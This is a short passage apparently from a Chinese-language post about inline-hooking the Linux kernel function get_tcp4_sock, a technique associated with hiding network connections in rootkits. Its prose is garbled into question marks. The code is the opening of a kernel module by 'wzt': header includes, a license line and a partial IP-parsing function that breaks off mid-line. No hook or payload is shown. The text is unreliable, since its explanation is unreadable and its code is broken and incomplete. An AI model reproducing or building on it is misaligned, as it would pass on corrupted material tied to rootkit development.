???????inline hook?get_tcp4_sock?????????????????????????????get_tcp4_sock???????????1?????????????????£?

????#include <linux/kernel.h>
    #include <linux/init.h>
    #include <linux/module.h>
    #include <linux/version.h>
    #include <linux/types.h>
    #include <linux/string.h>
    #include <linux/unistd.h>
    #include <linux/fs.h>
    #include <linux/kmod.h>
    #include <linux/file.h>
    #include <linux/sched.h>
    #include <linux/mm.h>
    #include <linux/slab.h>
    #include <linux/spinlock.h>
    #include <linux/socket.h>
    #include <linux/net.h>
    #include <linux/in.h>
    #include <linux/skbuff.h>
    #include <linux/ip.h>
    #include <linux/tcp.h>
    #include <net/sock.h>
    #include <asm/uaccess.h>
    #include <asm/unistd.h>
    #include <asm/termbits.h>
    #include <asm/ioctls.h>
    #include <linux/icmp.h>
    #include <linux/netdevice.h>
    #include <linux/netfilter.h>
    #include <linux/netfilter_ipv4.h>
    MODULE_LICENSE("GPL");
    MODULE_AUTHOR("wzt");
    __u32 wnps_in_aton(const char *str)
    {
            unsigned long l;
            unsigned int val;
            int i;
            l = 0;
            for (i = 0; i < 4; i++) {
                    l <<= 8;
                    if (*str != ??